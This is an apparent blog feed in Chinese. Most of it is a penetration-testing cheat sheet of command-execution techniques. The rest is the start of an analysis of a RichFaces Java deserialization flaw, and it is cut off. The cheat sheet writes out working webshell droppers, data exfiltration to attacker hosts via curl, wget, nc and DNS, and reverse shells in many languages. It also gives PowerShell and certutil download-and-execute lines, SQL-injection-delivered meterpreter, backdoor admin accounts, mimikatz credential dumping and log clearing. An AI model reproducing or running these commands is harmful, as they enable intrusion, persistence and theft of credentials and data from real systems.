dir \/s\/a-d\/b d:\\*123456.asp #\u67e5\u627e123456.asp \u4f4d\u7f6e\necho ^<^%eval request^(chr^(35^)^)^%^> > \"d:\\JINHER\\C6\\JHSoft.Web.Login\\images\\LoginTemplate\\whynot.asp\" # <>\u7b49\u7279\u6b8a\u7b26\u53f7\u5728cmd\u4e0b\u9700\u8981\u8f6c\u7801 \u800c\u4e14\u5199\u5165\u6587\u4ef6\u4e0d\u53ef\u5e26\u6709<>:\u7b49\u7279\u6b8a\u5b57\u7b26\ncopy c:\\\\Inetpub\\\\wwwroot\\\\ckfinder\\\\userfiles\\\\files\\\\images\\\\cknife.jpg c:\\\\Inetpub\\\\wwwroot\\\\ckfinder\\\\userfiles\\\\files\\\\images\\\\cknife.aspx # \u547d\u4ee4\u4e0d\u597d\u4f7f\u65f6\u5c1d\u8bd5\u5176\u4ed6\u547d\u4ee4 \n\nfor \/F %s in ('dir \/s\/a-d\/b c:\\*.aspx') do echo 123 >123.aspx\n\u5728\u6709aspx\u6587\u4ef6\u7684\u540e\u9762\u91cd\u65b0\u751f\u6210.aspx\u7684\u540e\u7f00 \u5185\u5bb9\u4e3a123 \u4f8b\u5982a.aspx \u751f\u6210a.aspx.aspx #\u7f3a\u70b9\u76f8\u5bf9\u66b4\u529b \u4f18\u70b9\u4e0d\u56de\u663e\u6709\u65f6\u5019\u4e5f\u53ef\u4ee5\u7528\nfor \/F %s in ('dir \/s\/a-d\/b f:\\*login.css') do echo ^<%@ Page Language=\"Jscript\"%^>^<%eval(Request.Item[\"pass\"],\"unsafe\");%^> >%s.aspx\n<\/code><\/pre><\/div><\/div>\nlinux<\/h3>\nlocate find\u7b49\u547d\u4ee4 \u67e5\u8be2\u6587\u4ef6\u4f4d\u7f6e\necho PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > 360.php #PD9waHAgcGhwaW5mbygpOz+\u662f<?php phpinfo();?> base64\u7f16\u7801 linux\u6587\u4ef6\u540d\u4e0d\u80fd\u5e26\u6709\/(\u659c\u6760)\n<\/code><\/pre><\/div><\/div>\nOOB(out of band) (\u65e0\u6cd5\u56de\u663e\u548c\u80fd\u51fa\u7f51\u65f6\u4f7f\u7528)<\/h3>\n
window<\/p>\n
\u57fa\u4e8eOOB(out of band)\u7684\u56de\u663e(\u80fd\u51fa\u7f51)\nfor \/F %s in ('whoami') do start http:\/\/10,10.10.10:8080\/?user=%s #\u67e5\u8be2\u6587\u4ef6\u4f4d\u7f6eweb\u5386\u53f2\u8bb0\u5f55 \u4f1a\u6253\u5f00\u76ee\u6807\u6d4f\u89c8\u5668\nfor \/F %s in ('dir \/b') do start http:\/\/10.10.10.10:81\/?user=%s\n\ncurl \u2013T {path to file} ftp:\/\/xxx.xxx.xxx.xxx \u2013user {username}:{password} #\u4f20\u8f93\u5230ftp\nwget \u2013header=\"EVIL:$(cat \/etc\/passwd)\" http:\/\/xxx.xxx.xxx:xxxx #\u9700\u8981\u81ea\u642d\u5efaserver\u670d\u52a1\u5668\u652f\u6301\n#wget \u2013header=\u201devil:`cat \/etc\/passwd | xargs echo \u2013n`\u201d http:\/\/xxx.xxx.xxx:xxxx \n\nwget \u2013post-data exfil='cat \/etc\/passwd' http:\/\/dnsattacker.com # extract data in post section\nwget \u2013post-file trophy.php http:\/\/dnsattacker.com # extract source code\ncat \/path\/to\/sensitive.txt | curl \u2013F \":data=@-\" http:\/\/dnsattacker.com\/test.txt\n\nViticm\nnc -w 1000 10.10.10.10 1234 < config.php\nAttacker\nnc -l 1234 > config.php\n<\/code><\/pre><\/div><\/div>\nlinux<\/p>\n
\u57fa\u4e8eOOB(out of band)\u7684\u56de\u663e\n#curl `whoami`.xxxx.xxx(\u5b50\u57df\u540d) #\u53ef\u4ee5\u7528\u8be5\u65b9\u6cd5\u628a\u4e0d\u56de\u663e\u53d8\u5f97\u56de\u663e\n#curl http:\/\/10.10.10.10:81\/?user=`id`\n#wget http:\/\/10.10.10.10:81\/?user=`id`\n#ping %USERNAME%.b182oj.ceye.io\n#ping -c 3 `ifconfig en0|grep \"inet \"|awk '{print $2}'`.test.xxx.com DNS\u8bb0\u5f55\u83b7\u53d6\u6e90IP\uff08\u6839\u636e\u60c5\u51b5\u9700\u8981\u4fee\u6539\uff0c\u4e0d\u901a\u7528\uff09\n<\/code><\/pre><\/div><\/div>\n\u901a\u7528\u7684\u4e00\u4e9b<\/p>\n
\u9700\u8981\u57df\u540d\u670d\u52a1\u5668\u652f\u6301\nVictim #\u53c2\u8003https:\/\/www.exploit-db.com\/docs\/english\/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf \ncmd \/v \/c \"ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContentoutput.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){$final=$j.tostring()+'.'+$i+'.fzrsuf.3w1.pw';$j += 1; nslookup $final }\" \nAttacker\nsudo tcpdump -n port 53 | tee file.txt\necho \"0x$(cat file.txt |tr ' ' '\\n' |awk '\/file.oob.dnsattacker.com\/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\\n')\" | xxd -r -pr\n\nVictim\nwget --header=evil:$(ifconfig|xxd -p -c 100000) http:\/\/dnsattacker.com:9000\nAttacker:\necho \"0x$(ncat -lvp 9000 |grep -i evil|tr -d '\/' |cut -d ' ' -f2)\" |xxd -r -p\n<\/code><\/pre><\/div><\/div>\n![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/006tNbRwly1fv84afj8z6j31aw0kmajx.jpg\")
<\/p>\n
2.\u53ef\u51fa\u7f51<\/h2>\n
\u53cd\u5f39shell\u6216\u4f20\u9a6c(\u4f7f\u7528tcpdump -i eth0 icmp \u6765\u76d1\u542c\u6216\u8005\u642d\u5efaweb\u670d\u52a1\u5668\u67e5\u770b\u8bbf\u95ee\u65e5\u5fd7\u7b49\u6765\u80fd\u5426\u51fa\u7f51\uff09\u3002<\/p>\n
window \u4f7f\u7528ping \u6216\u8005\u4e0b\u9762\u7684download\u6765\u5224\u65ad\u662f\u5426\u80fd\u591f\u51fa\u7f51\uff0c<\/h3>\n
powershell\u76f4\u63a5\u53cd\u5f39(03\u9ed8\u8ba4\u65e0powershell winserver08\u9ed8\u8ba4\u662f2.0\uff09<\/p>\n
powershell IEX (New-Object Net.WebClient).DownloadString('http:\/\/8.8.8.8\/nishang\/Shells\/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 8.8.8.8 -port 8888 #\u53cd\u5f39shell\npowershell -C \"IEX (New-Object System.Net.Webclient).DownloadString('https:\/\/raw.githubusercontent.com\/besimorhino\/powercat\/master\/powercat.ps1');powercat -l -p 8888\" #\u76d1\u542c\u672c\u5730nc\n\nhttp:\/\/8.8.8.8\/2.php?id=1;exec master..xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString(''http:\/\/youvps\/Empire\/data\/module_source\/code_execution\/Invoke-Shellcode.ps1'');Invoke-Shellcode -payload windows\/meterpreter\/reverse_http -lhost 8.8.8.8 -lport 4444 -force';-- #powershell\u8c03\u7528msf\u53cd\u5f39\n\nIEX (New-Object Net.WebClient).DownloadString('http:\/\/8.8.8.8\/nishang\/Scan\/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 #\u626b\u63cf\u7aef\u53e3\n<\/code><\/pre><\/div><\/div>\nmsf\u6216\u8005nc\u6216\u8005colbat strike\u4f20\u9a6c\u7b49(msf\u4e3a\u4f8b)<\/p>\n\n
\u751f\u6210\u6076\u610f\u7a0b\u5e8f\u4e0a\u4f20\u6267\u884c\nmsfvenom -p windows\/meterpreter\/reverse_tcp -b '\\x00\\xff' lhost=8.8.8.8 lport=8888 -f dll -o test.dll\nregsvr32 test.dll #\u8fd0\u884cdll\n\nattacker\u76d1\u542c\nuse exploit\/multi\/handler\nset payload windows\/meterpreter\/reverse_tcp\nset LHOST 8.8.8.8\nset LPORT 8888\nexploit\n\nnc -vv 115.28.206.51 8080 -e c:\\cmd.exe \/\/\u94fe\u63a5\u5230\u8fdc\u7a0b \u4e0d\u8f93\u5165-e\u9009\u9879\u5373\u65f6\u804a\u5929\nnc -lvvp 8080 \/\/\u53cd\u5f39\nnc -nv 8.8.8.8 8080 -e C:\\Windows\\System32\\cmd.exe\nnc -lvp 8080\n<\/code><\/pre><\/div><\/div>\n\u76f4\u63a5\u6dfb\u52a0\u7528\u6237<\/p>\n
net user xxx 123!@#qwe \/add #\u6dfb\u52a0\u7528\u6237\nnet localgroup administrators xxx \/add #\u5c06xxx\u7528\u6237\u52a0\u5165\u7ba1\u7406\u5458\nnet user xxx \/del #\u5220\u9664\u7528\u6237\n\nfor 03 08\nREG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server \/v fDenyTSConnections \/t REG_DWORD \/d 00000000 \/f #\u5f00\u542f3389 03 08\u6d4b\u8bd5\u901a\u8fc7\nREG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server \/v fDenyTSConnections \/t REG_DWORD \/d 00000001 \/f #\u5173\u95ed3389\nREG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server\\WinStations\\RDP-Tcp \/v PortNumber #\u67e5\u770b\u8fdc\u7a0b\u7aef\u53e3 \u5341\u516d\u8fdb\u5236\n\n2.\u901a\u7528\u5f003389(\u4f18\u5316\u540e)\uff1a\nwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1\n3.For Every:\ncmd\u5f003389 win08 win03 win7 win2012 winxp\nwin08\uff0c\u4e09\u6761\u547d\u4ee4\u5373\u53ef:\nwmic \/namespace:\\root\\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != \"\") call setallowtsconnections 1\nwmic \/namespace:\\root\\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" \/v fSingleSessionPerUser \/t REG_DWORD \/d 0 \/f\nwin2012\u901a\u7528\uff1bwin7\u524d\u4e24\u6761\u5373\u53ef\u3002\u6743\u9650\u9700\u8981run as administrator\u3002\n<\/code><\/pre><\/div><\/div>\nlinux<\/h3>\n\n\n - linux\u81ea\u5e26perl python ruby\u7b49\u8bed\u8a00\uff0c\u53cd\u5f39shell\u8f83\u4e3a\u5bb9\u6613 \u4e2a\u4eba\u5efa\u8bae\u4f7f\u7528bash perl<\/li>\n<\/ol>\n\n
\u5224\u65ad\u80fd\u5426\u51fa\u7f51\n\/usr\/bin\/curl\n\/usr\/bin\/wget\n\/bin\/ping\n\u5982\u679c\u62c5\u5fc3\u5f15\u53f7\u8f6c\u4e49\u9ebb\u70e6\u6216\u7740\u5176\u4ed6 \u53ef\u4ee5\u76f4\u63a5\u4e0b\u8f7d\u5230\u670d\u52a1\u5668\u4e0a\u6267\u884c\nwget http:\/\/10.0.0.1\/123344\/back.pl -P \/tmp\/ \u53bb\u6389\u524d\u7f00\u811a\u672c\nperl \/tmp\/back.pl\n\ncurl `whoami`.xxxx.xxx(\u5b50\u57df\u540d) #\u53ef\u4ee5\u7528\u8be5\u65b9\u6cd5\u628a\u4e0d\u56de\u663e\u53d8\u5f97\u56de\u663e\n\nbash\u53cd\u5f39\nbash -i >& \/dev\/tcp\/10.0.0.1\/8080 0>&1\n\n\u4e0a\u4f20bash\u6587\u4ef6\n#!\/bin\/bash\\n\\n\/bin\/bash -i >& \/dev\/tcp\/$1\/$2 0>&1\n\nPERL\nperl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'\n\nPython\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/sh\",\"-i\"]);'\n\nPHP\nphp -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"\/bin\/sh -i <&3 >&3 2>&3\");'\nIf you want a .php file to upload, see the more featureful and robust php-reverse-shell.\n\nRuby\nruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"\/bin\/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n\nNetcat\nnc -e \/bin\/sh 10.0.0.1 1234\n\u90e8\u5206\u7248\u672cnc -e\u4e0d\u53ef\u7528\u65f6\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 10.0.0.1 1234 >\/tmp\/f\n\n\nJava\nr = Runtime.getRuntime()\np = r.exec([\"\/bin\/bash\",\"-c\",\"exec 5<>\/dev\/tcp\/10.0.0.1\/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()\n\nnode.js\nrequire('child_process').exec('bash -i >& \/dev\/tcp\/8.8.8.8\/80 0>&1');\nnc -lvvp 80\n\nlua\nlua -e \"require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('\/bin\/sh -i <&3 >&3 2>&3');\"\n<\/code><\/pre><\/div><\/div>\n\n2.\u975e\u4ea4\u4e92\u5f0f\u6dfb\u52a0linux\u7528\u6237<\/p>\n\n
useradd -m test\necho \"123456\" | passwd --stdin test #\u975e\u4ea4\u4e92\u5f0f\u8bbe\u7f6e\u5bc6\u7801\nuserdel -r test #\u5220\u9664\u8be5\u7528\u6237\n<\/code><\/pre><\/div><\/div>\n3.\u5199\u5165.ssh\/authorized_keys \u6216\u8005 crontab<\/p>\n\n
echo \u516c\u94a5 > .ssh\/authorized_keys\n\/var\/spool\/cron\/root #centos \u5199\u5165root\u7528\u6237\u4efb\u52a1\u8ba1\u5212\n\/etc\/cron.d\/shell #debian \u5728\/etc\/cron.d\/\u4f1a\u88ab\u5f53\u4f5c\u4efb\u52a1\u8ba1\u5212\u6267\u884c\n<\/code><\/pre><\/div><\/div>\n3.\u5bc6\u7801\u6293\u53d6<\/h2>\n\u901a\u7528 \u6ce8\u610f\u5bc6\u7801\u6293\u53d6\u9700\u8981root\u6743\u9650\u3002<\/h3>\nlaz.exe all #\u901a\u7528\u53ef\u4ee5\u6293\u53d6wifi\u5bc6\u7801,\u5e38\u89c1\u6d4f\u89c8\u5668(\u5982google facebook\u767b\u9646\u5bc6\u7801)\uff0c\u6570\u636e\u5e93\uff0coutlook\u90ae\u7bb1\u4ee5\u53ca\u64cd\u4f5c\u7cfb\u7edf\u7b49\u5404\u79cd\u5bc6\u7801 #https:\/\/github.com\/AlessandroZ\/LaZagne \n<\/code><\/pre><\/div><\/div>\nwindow<\/h3>\n\u63d0\u6743\u53c2\u8003 #https:\/\/github.com\/SecWiki\/windows-kernel-exploits\npowershell IEX (New-Object Net.WebClient).DownloadString('http:\/\/8.8.8.8\/123344\/PowerShell\/Invoke-ReflectivePEInjection\/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http:\/\/8.8.8.8\/123344\/ms15-051.exe -ExeArgs \"cmd\" -ForceASLR #\u8fdc\u7a0b\u6267\u884cexe\nmimikatz #\u6293\u53d6\u5bc6\u7801\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" #https:\/\/github.com\/gentilkiwi\/mimikatz\npowershell IEX (New-Object Net.WebClient).DownloadString('http:\/\/8.8.8.8\/nishang\/Gather\/Invoke-Mimikatz.ps1');Invoke-Mimikatz #\u8fdc\u7a0b\u8c03\u7528mimikaz web\u4e2d\u6ce8\u610f\u5f15\u53f7\nmimikaz\u6e05\u9664\u767b\u9646\u7b49\u65e5\u5fd7\u4fe1\u606f\nprivilege::debug\nevent::drop\nevent::clear\n<\/code><\/pre><\/div><\/div>\nlinux<\/h3>\n.\/mimipenguin #\u652f\u6301ubuntu\u548cFedora\u90e8\u5206\u7248\u672c https:\/\/github.com\/huntergregal\/mimipenguin\nlinux\u63d0\u6743\u597d\u7528\u7684\u4e00\u4e9b\u5de5\u5177\nhttps:\/\/github.com\/rebootuser\/LinEnum\nhttps:\/\/github.com\/mzet-\/linux-exploit-suggester\nhttps:\/\/github.com\/SecWiki\/linux-kernel-exploits\n<\/code><\/pre><\/div><\/div>\n\n4.\u4e0b\u8f7d\u6267\u884c(download and exec)<\/h2>\n\n - window<\/li>\n<\/ul>\n\n
powershell\npowershell (new-object System.Net.WebClient).DownloadFile('https:\/\/github.com\/3gstudent\/test\/raw\/master\/putty.exe','c:\\download\\a.exe');start-process 'c:\\download\\a.exe'\n\ncertutil #03 08\u90fd\u53ef\u4ee5\ncertutil -urlcache -split -f https:\/\/github.com\/3gstudent\/test\/raw\/master\/putty.exe c:\\download\\a.exe&&c:\\download\\a.exe\ncertutil -urlcache -split -f http:\/\/8.8.8.802:80\/a.txt b.txt\ncertutil -urlcache -split -f http:\/\/8.8.8.802:80\/a a.js && cscript a.js && del a.js && certutil -urlcache -split -f http:\/\/8.8.8.802:80\/a delete #\u8fdc\u7a0b\u6267\u884cjs\ncertutil -urlcache -split -f http:\/\/8.8.8.8\/123344\/1.vbs a.vbs && cscript a.vbs && del a.vbs && certutil -urlcache -split -f http:\/\/8.8.8.8\/123344\/1.vbs delete #\u52a0\u8f7dvbs\u6267\u884c\nvbs \u793a\u4f8b\u4ee3\u7801 #\u4e0b\u8f7d\u4fdd\u5b58\u5230c\u76d8\nSet xPost=createObject(\"Microsoft.XMLHTTP\")\nxPost.Open \"GET\",\"http:\/\/192.168.206.101\/file.zip\",0\nxPost.Send()\nset sGet=createObject(\"ADODB.Stream\")\nsGet.Mode=3\nsGet.Type=1\nsGet.Open()\nsGet.Write xPost.ResponseBody\nsGet.SaveToFile \"c:\\file.zip\",2\n\nwin03\u65e0 xp\u4ee5\u540e\u81ea\u5e26 #\u4e0b\u8f7d\u901f\u5ea6\u8f83\u6162\nbitsadmin \/transfer n http:\/\/lemon.com\/file.zip c:\\1.zip\nbitsadmin \/transfer n http:\/\/8.8.8.8\/mimikaz.exe Z:\/file\/proof\/tmp\/1.exe\nbitsadmin \/transfer n http:\/\/download.sysinternals.com\/files\/PSTools.zip C:\\test\\update\\PSTools.zip\nbitsadmin \/rawreturn \/transfer getfile http:\/\/download.sysinternals.com\/files\/PSTools.zip c:\\p.zip\n\ncsscript \ncscript \/b C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs 127.0.0.1 script:https:\/\/gist.githubusercontent.com\/enigma0x3\/64adf8ba99d4485c478b67e03ae6b04a\/raw\/a006a47e4075785016a62f7e5170ef36f5247cdb\/test.sct #\u8fdc\u7a0b\u6267\u884c\u6587\u4ef6\u5f39\u51fa\u8ba1\u7b97\u5668\n\ntelnet \n\u670d\u52a1\u7aef\uff1anc -lvp 23 < nc.exe\n\u4e0b\u8f7d\u7aef\uff1atelnet ip -f c:\\nc.exe\n\nregsvr32\nregsvr32 \/u \/s \/i:https:\/\/raw.githubusercontent.com\/3gstudent\/test\/master\/downloadexec.sct scrobj.dll\n\nrundll32 \nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";o=GetObject(\"script:http:\/\/webserver\/payload.sct\");window.close();\n\n\nmshta\nmshta https:\/\/3gstudent.github.io\/test\/downloadexec2.hta #\u9700\u8981\u5f00\u542fIE\u6d4f\u89c8\u5668-Internet\u9009\u9879-\u5b89\u5168\u9009\u62e9\u53ef\u4fe1\u7ad9\u70b9\uff0c\u6dfb\u52a0\u535a\u5ba2\u5730\u5740\uff1ahttps:\/\/3gstudent.github.io\/\n\nwmic and Regasm\/Regsvc\nwmic os get \/format:\"https:\/\/webserver\/payload.xsl\"\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe \/u \\\\webdavserver\\folder\\payload.dll\n\n<\/code><\/pre><\/div><\/div>\n\n - linux<\/li>\n<\/ul>\n\n
linux\u65b9\u6cd5\u901a\u7528\uff0c\u8fd9\u91cc\u4e0d\u8bb2\u8ff0\u8fc7\u591a \u8be6\u60c5\u53ef\u53c2\u8003 https:\/\/gtfobins.github.io\/\nwget www.baidu.com\/1.rar -P \/tmp\/ #\u4fdd\u5b58\u5230tmp\u76ee\u5f55\u4e0b\ncurl $URL -o $LFILE\nnc\nlua\n<\/code><\/pre><\/div><\/div>\n\u76f8\u5173\u94fe\u63a5\u5982\u4e0b\uff1a<\/p>\n
https:\/\/github.com\/samratashok\/nishang #powershell\u6846\u67b6\nhttps:\/\/github.com\/EmpireProject\/Empire\nhttps:\/\/github.com\/PowerShellMafia\/PowerSploit\nhttps:\/\/arno0x0x.wordpress.com\/2017\/11\/20\/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code\/\nhttps:\/\/3gstudent.github.io\/3gstudent.github.io\/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8Egithub%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6%E7%9A%84%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95\/\nhttps:\/\/gtfobins.github.io\/\nhttp:\/\/reverse-tcp.xyz\/pentest\/red%20team\/2017\/12\/28\/windows-to-download-and-execute-arbitrary-code.html\nhttps:\/\/www.exploit-db.com\/docs\/english\/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf\n<\/code><\/pre><\/div><\/div>\n#\n\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1awhynot<\/a> \u00bb web<\/a><\/p>\n\n","pubDate":"Wed, 12 Sep 2018 00:00:00 +0000","link":"http:\/\/notwhy.github.io\/2018\/09\/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93\/","guid":"http:\/\/notwhy.github.io\/2018\/09\/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93\/","category":"web"},{"title":"RichFaces\u53cd\u5e8f\u5217\u8bdd\u6f0f\u6d1e\u2014\u2014CVE-2013-2165","description":"0x00 \u524d\u8a00<\/h1>\n
\n
\u2003\u2003\u672c\u6765\u60f3\u5b66\u4e8c\u8fdb\u5236\u6765\u7740,java\u53c8\u51fa\u4e86\u90a3\u4e48\u591a\u6f0f\u6d1e\uff0c\u8eab\u4e3a\u4e00\u4e2aweb\u5b89\u5168\u72d7\uff0c\u8fd8\u662f\u5b66Java web\u5427\uff0c\u51e0\u4e4e0\u57fa\u7840\uff0c\u5927\u725b\u8bf7\u8df3\u8fc7\u3002\u78b0\u5de7\u5de5\u4f5c\u4e2d\u9047\u5230\u5b9e\u4f8b\uff0c\u5c31\u5c1d\u8bd5\u7b80\u5355\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a(\u5f88\u6c34\u7684\u4e00\u7bc7\u6587\u7ae0\u56db\u5904\u6458\u6284\uff0c\u5c31\u662f\u60f3\u7acb\u4e2aflag\u5f00\u4e2a\u5934)\u3002<\/p>\n
0x01 \u57fa\u7840\u8be6\u60c5<\/h1>\n
\u5728\u8bb2\u8ff0\u4e4b\u524d\u5148\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0bjava\u53cd\u5e8f\u5217\u5316\u7684\u4e00\u4e9b\u7279\u5f81\u3002
\n\u9ed1\u76d2\u6d4b\u8bd5:<\/p>\n
\n - rO0AB #\u6570\u636e\u5305\u4e2d\u6709\u4ee5base64\u5f00\u5934\u7684\u6570\u636e\u5f00\u5934\u542b\u6709ro0AB yseriol\u751f\u6210\u7684payload\u8f6c\u6362\u800c\u6765 cat payload.out | base64 -w 0 > payload.out.b64\n
![\"\"](\"https:\/\/ws3.sinaimg.cn\/large\/0069RVTdly1fv4fptk2sdj30pa0bstig.jpg\")
<\/li>\n - aced 0005 #\u6570\u636e\u5305\u53d1\u9001\u65f616\u8fdb\u5236\u67e5\u770b\u65f6\u542b\u6709\u7684\u7279\u6b8a\u5b57\u7b26 \u5982\u679c\u662fhttp\u6570\u636e\u5305\u542b\u6709 sr \u7b49\u5b57\u7b26\n
![\"\"](\"https:\/\/ws3.sinaimg.cn\/large\/0069RVTdly1fv4kqos4kcj31au09kn15.jpg\")
<\/li>\n - content-type:application\/x-serialization \u5e26\u6709\u5e8f\u5217\u5316\u5934\u8bf4\u660e\u4e86\u5b83\u662f\u662f\u5e8f\u5217\u5316\u6570\u636e\n
![\"\"](\"https:\/\/ws4.sinaimg.cn\/large\/0069RVTdly1fv4k2j9n6bj31ku0fa43h.jpg\")
<\/li>\n - org.apache.commons.collections.functors.InvokerTransformer and gzip header\n
![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/006tNbRwly1fvh4aiq4fyj31kw0q9khe.jpg\")
\n\u767d\u76d2\u6d4b\u8bd5\uff1a
\nwriteObject \u5e8f\u5217\u5316\u662f\u7528\u4e8e\u5c06\u5bf9\u8c61\u8f6c\u6362\u6210\u4e8c\u8fdb\u5236\u4e32\u5b58\u50a8
\nreadObjec \u5c06\u4e8c\u8fdb\u5236\u4e32\u8f6c\u6362\u6210\u5bf9\u8c61<\/li>\n<\/ol>\n\n\u518d\u6765\u770b\u4e0bRichFaces\u4efb\u610fjava\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e
\n![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/0069RVTdly1furtuu21mkj310003i75q.jpg\")
\n\u5f71\u54cd\u7248\u672c\uff1aRichFaces 3.x \u2264 3.3.3 and 4.x \u2264 4.3.2\n\u4fee\u590d\u7248\u672c\uff1aRichFaces 3.3.4 and 4.3.3<\/p>\n
RIchFaces\u5b58\u5728\u7684\u6f0f\u6d1e\u7684\u548c\u5229\u7528\u65b9\u5f0f #\u56e0RIchFaces16\u5e74\u4e0d\u518d\u7ef4\u62a4\uff0c\u6240\u4ee5\u7528\u6700\u65b0\u7684rf-143\u5e94\u8be5\u53ef\u4ee5\u6253\u4e0b\nRichFaces 3\n3.1.0 \u2264 3.3.3: CVE-2013-2165\n3.1.0 \u2264 3.3.4: RF-14310\nRichFaces 4\n4.0.0 \u2264 4.3.2: CVE-2013-2165\n4.0.0 \u2264 4.5.4: CVE-2015-0279\n4.5.3 \u2264 4.5.17: RF-14309\n<\/code><\/pre><\/div><\/div>\n0x02 \u6f0f\u6d1e\u5206\u6790<\/h1>\n
\u672c\u5730\u73af\u5883 mac + idea2018.01 + tomcat7
\nangryseam.war<\/a>
\n\u76f8\u5173jar\u5305<\/a> #\u5bfc\u5165\u76f8\u5e94\u7684jar\u5305
\n\u6211\u4eec\u5148\u7b80\u5355\u770b\u4e0b\u6f0f\u6d1e\u8be6\u60c5 \n![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/0069RVTdly1furuh6w3xnj31400guage.jpg\")
\n\u56e0\u4e3a\u6211\u4f7f\u7528\u7684\u662fRichFaces3.x\uff0c\u6240\u4ee5\u9488\u5bf93.x\u6765\u8bf4\uff0c\u5728\u8bf7\u6c42\u8d44\u6e90\u7684\u65f6\u5019\uff0c\u4f1a\u8fdb\u5165ResourceBuilderImpl.getResourceDataForKey(String)\u6765\u8fdb\u884c\u5904\u7406\uff0c\u5982\u679c\u8bf7\u6c42\u8d44\u6e90\u4ee5\/DATA\u6216\u8005\/DATB\u4e3a\u5f00\u5934\uff0c\u6570\u636e\u4f1a\u88abResourceBuilderImpl.decrypt(byte)\u89e3\u5bc6\uff0c\u7136\u540e\u8fdb\u884c\u76f8\u5173\u53cd\u5e8f\u5217\u5316\u3002\n\u5728org.ajax4jsf.resource.ResourceBuilderImpl\u4e2d232\u884cgetResourceDataForKey\u51fd\u6570\u4e2d\u3002\n\u5c06\u4f20\u9012\u8fc7\u6765\u7684key\u89e3\u5bc6\uff0c\u540e\u7eed\u4f20\u5165readobject\u9020\u6210\u53cd\u5e8f\u5217\u5316\u9020\u6210\u547d\u4ee4\u6267\u884c\u3002\n![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/0069RVTdly1furv6pwvwxj31kw0qn4di.jpg\")
\nrichfaces\u5e93\u9ed8\u8ba4\u5904\u7406a4j\u5f00\u5934\u7684\u8def\u5f84\u8d44\u6e90\u7136\u540e\u5c06\/a4j\/g\/3_3_3.Finalorg\/\u7248\u672c\u4fe1\u606f\u79fb\u9664<\/p>\n\/a4j\/g\/3_3_3.Finalorg\/richfaces\/renderkit\/html\/scripts\/skinning.js\/DATA\/xxxx \n<\/code><\/pre><\/div><\/div>\n\u7136\u4f1a\u5c06\u8d44\u6e90\u4f20\u5165getResourceDataForKey\u5e76\u5c06DATA\u540e\u9762\u7684\u89e3\u7801\n\u6784\u9020payload\u65f6 \u6211\u4eec\u53ea\u9700\u8981\u8c03\u7528\u8be5\u65b9\u6cd5\u4e0b\u9762\u7684encrypt\u5373\u53ef\n![\"\"](\"https:\/\/ws2.sinaimg.cn\/large\/0069RVTdly1furzrgzv3sj31kw0ryqdv.jpg\")
\n\u5177\u4f53poc\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\n![\"\"](\"https:\/\/ws3.sinaimg.cn\/large\/0069RVTdly1furzt2vofzj31kw0kytkn.jpg\")
\n\u5229\u7528\u65b9\u6cd5:<\/p>\n
